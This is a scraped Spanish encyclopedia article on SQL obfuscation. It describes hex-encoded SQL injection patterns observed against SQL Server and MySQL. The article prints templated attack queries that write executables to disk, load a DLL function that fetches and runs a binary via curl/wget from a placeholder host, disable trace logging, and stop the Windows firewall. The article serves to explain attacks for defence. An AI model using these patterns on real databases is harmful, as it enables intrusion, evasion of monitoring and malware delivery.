fbpx
Wikipedia

Ofuscación SQL

La Ofuscación SQL es uno de los principales métodos utilizado por los hackers para acceder a bases de datos.

Al estar al tanto de los controles de seguridad que protegen los activos digitales, los atacantes en muchos casos usan técnicas de evasión para pasar desapercibidos y montar su ataque sin ser detectados y bloqueados por mecanismos de seguridad. Una de las técnicas de evasión más populares, aplicable sobre todo contra los mecanismos de seguridad basados en patrones es la ofuscación, generando una instancia del ataque que hace esencialmente lo que el ataque está destinado a hacer, pero está diseñado intencionalmente para verse muy diferente del patrón del control de seguridad busca.[1]

Por ejemplo, la ofuscación de sentencias de SQL (nos referimos a esto más tarde como ofuscación de SQL) es muy común como un medio para eludir los firewalls de aplicaciones web (WAF) y ejecutar ataques de inyección SQL, y confundir las soluciones de monitoreo de actividad de base de datos, (DAM) que analizan el tráfico de la base de datos SQL Esta técnica es común entre atacantes, herramientas de automatización y pen testers para ejecutar implícitamente comandos SQL contra bases de datos.

Uno de los métodos más comunes para sustentar un ataque de inyección SQL es el uso de codificación SQL HEX, donde las transacciones de SQL "legibles" de texto plano se convierten en caracteres HEX o hexadecimales (0-9, AF), lo que hace que sean ilegibles y más difíciles de monitorear por DAM y soluciones de firewall de base de datos (DBF). Por lo tanto, una "selección * de contraseñas" en una solución DAM se vería así: "73656C656374202A2066726F6D2070617373776F726473".[1]

Patrones de ataques SQL codificados en HEX

En base a análisis de datos, detectamos varios patrones de ataques SQL codificados en HEX. Sorprendentemente, una de cada cinco consultas de ataque en SQL Server aprovechó las técnicas de codificación HEX. Este tipo de ataque es menos común para las bases de datos MySQL.

Ejemplo en Microsoft SQL Server

El siguiente es el patrón más común de un ataque SQL codificados en HEX contra SQL Server:

Pattern 1: declare @a varchar(8000); set @a=0x<hex_string>; exec(@a); 

en el ejemplo anterior, los comandos de ataque se colocan en la variable a, cuando están codificados como una cadena HEX. A continuación, los comandos ofuscados se ejecutan mediante la instrucción exec(@a). Detrás de las consultas con codificación HEX encontramos varios tipos de ataques. Este es otro ejemplo de una consulta HEX que observamos en Microsoft SQL Server:

Pattern 2: DECLARE @ObjectToken INT; EXEC sp_OACreate '(00000566-0000-0010-8000-00AA006D2EA4)', @ObjectToken OUTPUT; EXEC sp_OASetProperty @ObjectToken, 'Type', 1; EXEC sp_OAMethod @ObjectToken, 'Open'; EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0x<hex_string>; EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, "Filename", 2; EXEC sp_OAMethod @ObjectToken, 'Close'; EXEC sp_OADestroy @ObjectToken; 

El Transact-SQL anterior (T-SQL) entrega una carga maliciosa a un sistema objetivo. Crea y escribe un archivo (generalmente un archivo ejecutable o DLL) en una ubicación específica en un sistema de destino. El ataque se realizó utilizando el objeto ADODB.Stream (que tiene un identificador de clase de '00000566-0000-0010-8000-00AA006D2EA4') y procedimientos almacenados de automatización OLE (sp_OA). Los procedimientos OLE le permiten trabajar con objetos COM desde T-SQL. Puede usar estos procedimientos para crear objetos COM y usar los métodos y propiedades de ese objeto. Por ejemplo, use el objeto Sistema de archivos para abrir, leer y escribir archivos directamente dentro de T-SQL.[1]

Ejemplo en MySQL

En base al análisis de ataques a MySQL, detectamos tres patrones de consultas con codificación HEX. Estos patrones intentan entregar una carga útil a un sistema objetivo a través de comandos SQL.

pattern 1: CREATE TABLE <table_name> (<column_name> LONGBLOB) set @a = concat('', 0x<hex_string>); UPDATE <table_name> set <column_name> = @a select <column_name> from <table_name> into DUMPFILE <filename> drop table IF EXISTS <table_name> Pattern 2: CREATE TABLE <table_name> (<column_name> BLOB); INSERT into <table_name> values (CONVERT(0X<hex_string>,?) SELECT <column_name> FROM <table_name> INTO DUMPFILE <filename> drop table <table_name> 

La colección de comandos en Pattern 1 y 2 carga un ejecutable portátil (PE) con codificación HEX en una tabla y luego lo extrae en un archivo en un sistema de destino.

Pattern 3: set global log_bin_trust_function_creators=1; select unhex('hex_string') into dumpfile <file_name>; create function <func_name> returns string soname "<file_name>"; select <func_name> (' cd <dir>; curl -0 http://<ip>:<port>/<PE>; chmod 777 <PE>; ./<PE>; '); select <func_name> (' cd <dir>; wget http://<ip>:<port>/<PE>; chmod 777 <PE>; ./<PE>; '); 

La colección de comandos en Pattern 3, decodifica y carga un archivo DLL en un archivo en un sistema de destino. Luego, crea una nueva función SQL que reside en la DLL entregada y ejecuta la función utilizando el comando SELECT. Esta función descarga y guarda otro ejecutable en una ubicación específica, cambia sus permisos a '777' (todos pueden leer escribir y ejecutar) y finalmente lo ejecuta.[1]

Consultas ofuscadas

Las consultas con codificación HEX se usan a menudo contra MySQL y MS SQL Server como métodos avanzados de conversión de binario a hexadecimal para entregar una carga a un sistema de destino a través de comandos SQL. Una vez que la carga útil está en el sistema de destino, convierte de formato hexadecimal a un ejecutable binario y luego se ejecuta.

Las consultas con codificación HEX también se utilizan para modificar las configuraciones de seguridad de la base de datos para aumentar una superficie de ataque. Por lo general, se manifiestan en servicios y características habilitantes. Las siguientes consultas habilitan opciones avanzadas y desactivan el rastreo predeterminado. El seguimiento predeterminado proporciona un registro de actividad rico y persistente y cambios relacionados principalmente con las opciones de configuración. Luego recuperan información sobre todos los rastros existentes usando el procedimiento fn_trace_getinfo y luego los detienen.[1]

exec sp_configure 'show advanced options'.1; reconfigure; exec sp configure 'default trace enabled',0; reconfigure: declare @i int, @size int; set @i=1; select @size =max(traceid) from ::fn_trace_getinfo(default); while @i <= @size begin exec sp_trace_setstatus @i,0; set @i=@i+1;end; 

Además, los ataques en MS SQL que tenían el propósito de controlar los servicios de Microsoft-Windows-SharedAccess y SQL Server Agent a través de la llamada del procedimiento xp_servicecontrol(). Los ataques detienen el servicio Microsoft-Windows-SharedAccess, que es responsable del uso compartido de la conexión a Internet. Esta acción en realidad detiene el Firewall de Windows.[1]

exec xp_servicecontrol 'stop','sharedaccess'; 

Además, los atacantes usan el procedimiento xp_servicecontrol() para iniciar un servicio del Agente SQL Server que ejecuta trabajos SQL que contienen más comandos de ataque.[1]

exec xp_servicecontrol 'start','SQLSERVERAGENT'; 

Referencias

  1. «A Deep Dive into Database Attacks [Part I]: SQL Obfuscation». Blog | Imperva (en inglés estadounidense). 12 de febrero de 2018. Consultado el 26 de marzo de 2018. 
  •   Datos: Q56316283

ofuscación, principales, métodos, utilizado, hackers, para, acceder, bases, datos, estar, tanto, controles, seguridad, protegen, activos, digitales, atacantes, muchos, casos, usan, técnicas, evasión, para, pasar, desapercibidos, montar, ataque, detectados, blo. La Ofuscacion SQL es uno de los principales metodos utilizado por los hackers para acceder a bases de datos Al estar al tanto de los controles de seguridad que protegen los activos digitales los atacantes en muchos casos usan tecnicas de evasion para pasar desapercibidos y montar su ataque sin ser detectados y bloqueados por mecanismos de seguridad Una de las tecnicas de evasion mas populares aplicable sobre todo contra los mecanismos de seguridad basados en patrones es la ofuscacion generando una instancia del ataque que hace esencialmente lo que el ataque esta destinado a hacer pero esta disenado intencionalmente para verse muy diferente del patron del control de seguridad busca 1 Por ejemplo la ofuscacion de sentencias de SQL nos referimos a esto mas tarde como ofuscacion de SQL es muy comun como un medio para eludir los firewalls de aplicaciones web WAF y ejecutar ataques de inyeccion SQL y confundir las soluciones de monitoreo de actividad de base de datos DAM que analizan el trafico de la base de datos SQL Esta tecnica es comun entre atacantes herramientas de automatizacion y pen testers para ejecutar implicitamente comandos SQL contra bases de datos Uno de los metodos mas comunes para sustentar un ataque de inyeccion SQL es el uso de codificacion SQL HEX donde las transacciones de SQL legibles de texto plano se convierten en caracteres HEX o hexadecimales 0 9 AF lo que hace que sean ilegibles y mas dificiles de monitorear por DAM y soluciones de firewall de base de datos DBF Por lo tanto una seleccion de contrasenas en una solucion DAM se veria asi 73656C656374202A2066726F6D2070617373776F726473 1 Indice 1 Patrones de ataques SQL codificados en HEX 2 Ejemplo en Microsoft SQL Server 3 Ejemplo en MySQL 4 Consultas ofuscadas 5 Referencias Patrones de ataques SQL codificados en HEX Editar En base a analisis de datos detectamos varios patrones de ataques SQL codificados en HEX Sorprendentemente una de cada cinco consultas de ataque en SQL Server aprovecho las tecnicas de codificacion HEX Este tipo de ataque es menos comun para las bases de datos MySQL Ejemplo en Microsoft SQL Server EditarEl siguiente es el patron mas comun de un ataque SQL codificados en HEX contra SQL Server Pattern 1 declare a varchar 8000 set a 0 x lt hex string gt exec a en el ejemplo anterior los comandos de ataque se colocan en la variable a cuando estan codificados como una cadena HEX A continuacion los comandos ofuscados se ejecutan mediante la instruccion exec a Detras de las consultas con codificacion HEX encontramos varios tipos de ataques Este es otro ejemplo de una consulta HEX que observamos en Microsoft SQL Server Pattern 2 DECLARE ObjectToken INT EXEC sp OACreate 00000566 0000 0010 8000 00AA006D2EA4 ObjectToken OUTPUT EXEC sp OASetProperty ObjectToken Type 1 EXEC sp OAMethod ObjectToken Open EXEC sp OAMethod ObjectToken Write NULL 0 x lt hex string gt EXEC sp OAMethod ObjectToken SaveToFile NULL Filename 2 EXEC sp OAMethod ObjectToken Close EXEC sp OADestroy ObjectToken El Transact SQL anterior T SQL entrega una carga maliciosa a un sistema objetivo Crea y escribe un archivo generalmente un archivo ejecutable o DLL en una ubicacion especifica en un sistema de destino El ataque se realizo utilizando el objeto ADODB Stream que tiene un identificador de clase de 00000566 0000 0010 8000 00AA006D2EA4 y procedimientos almacenados de automatizacion OLE sp OA Los procedimientos OLE le permiten trabajar con objetos COM desde T SQL Puede usar estos procedimientos para crear objetos COM y usar los metodos y propiedades de ese objeto Por ejemplo use el objeto Sistema de archivos para abrir leer y escribir archivos directamente dentro de T SQL 1 Ejemplo en MySQL EditarEn base al analisis de ataques a MySQL detectamos tres patrones de consultas con codificacion HEX Estos patrones intentan entregar una carga util a un sistema objetivo a traves de comandos SQL pattern 1 CREATE TABLE lt table name gt lt column name gt LONGBLOB set a concat 0 x lt hex string gt UPDATE lt table name gt set lt column name gt a select lt column name gt from lt table name gt into DUMPFILE lt filename gt drop table IF EXISTS lt table name gt Pattern 2 CREATE TABLE lt table name gt lt column name gt BLOB INSERT into lt table name gt values CONVERT 0 X lt hex string gt SELECT lt column name gt FROM lt table name gt INTO DUMPFILE lt filename gt drop table lt table name gt La coleccion de comandos en Pattern 1 y 2 carga un ejecutable portatil PE con codificacion HEX en una tabla y luego lo extrae en un archivo en un sistema de destino Pattern 3 set global log bin trust function creators 1 select unhex hex string into dumpfile lt file name gt create function lt func name gt returns string soname lt file name gt select lt func name gt cd lt dir gt curl 0 http lt ip gt lt port gt lt PE gt chmod 777 lt PE gt lt PE gt select lt func name gt cd lt dir gt wget http lt ip gt lt port gt lt PE gt chmod 777 lt PE gt lt PE gt La coleccion de comandos en Pattern 3 decodifica y carga un archivo DLL en un archivo en un sistema de destino Luego crea una nueva funcion SQL que reside en la DLL entregada y ejecuta la funcion utilizando el comando SELECT Esta funcion descarga y guarda otro ejecutable en una ubicacion especifica cambia sus permisos a 777 todos pueden leer escribir y ejecutar y finalmente lo ejecuta 1 Consultas ofuscadas Editar Las consultas con codificacion HEX se usan a menudo contra MySQL y MS SQL Server como metodos avanzados de conversion de binario a hexadecimal para entregar una carga a un sistema de destino a traves de comandos SQL Una vez que la carga util esta en el sistema de destino convierte de formato hexadecimal a un ejecutable binario y luego se ejecuta Las consultas con codificacion HEX tambien se utilizan para modificar las configuraciones de seguridad de la base de datos para aumentar una superficie de ataque Por lo general se manifiestan en servicios y caracteristicas habilitantes Las siguientes consultas habilitan opciones avanzadas y desactivan el rastreo predeterminado El seguimiento predeterminado proporciona un registro de actividad rico y persistente y cambios relacionados principalmente con las opciones de configuracion Luego recuperan informacion sobre todos los rastros existentes usando el procedimiento fn trace getinfo y luego los detienen 1 exec sp configure show advanced options 1 reconfigure exec sp configure default trace enabled 0 reconfigure declare i int size int set i 1 select size max traceid from fn trace getinfo default while i lt size begin exec sp trace setstatus i 0 set i i 1 end Ademas los ataques en MS SQL que tenian el proposito de controlar los servicios de Microsoft Windows SharedAccess y SQL Server Agent a traves de la llamada del procedimiento xp servicecontrol Los ataques detienen el servicio Microsoft Windows SharedAccess que es responsable del uso compartido de la conexion a Internet Esta accion en realidad detiene el Firewall de Windows 1 exec xp servicecontrol stop sharedaccess Ademas los atacantes usan el procedimiento xp servicecontrol para iniciar un servicio del Agente SQL Server que ejecuta trabajos SQL que contienen mas comandos de ataque 1 exec xp servicecontrol start SQLSERVERAGENT Referencias Editar a b c d e f g A Deep Dive into Database Attacks Part I SQL Obfuscation Blog Imperva en ingles estadounidense 12 de febrero de 2018 Consultado el 26 de marzo de 2018 Datos Q56316283Obtenido de https es wikipedia org w index php title Ofuscacion SQL amp oldid 119959068, wikipedia, wiki, leyendo, leer, libro, biblioteca,

español

, española, descargar, gratis, descargar gratis, mp3, video, mp4, 3gp, jpg, jpeg, gif, png, imagen, música, canción, película, libro, juego, juegos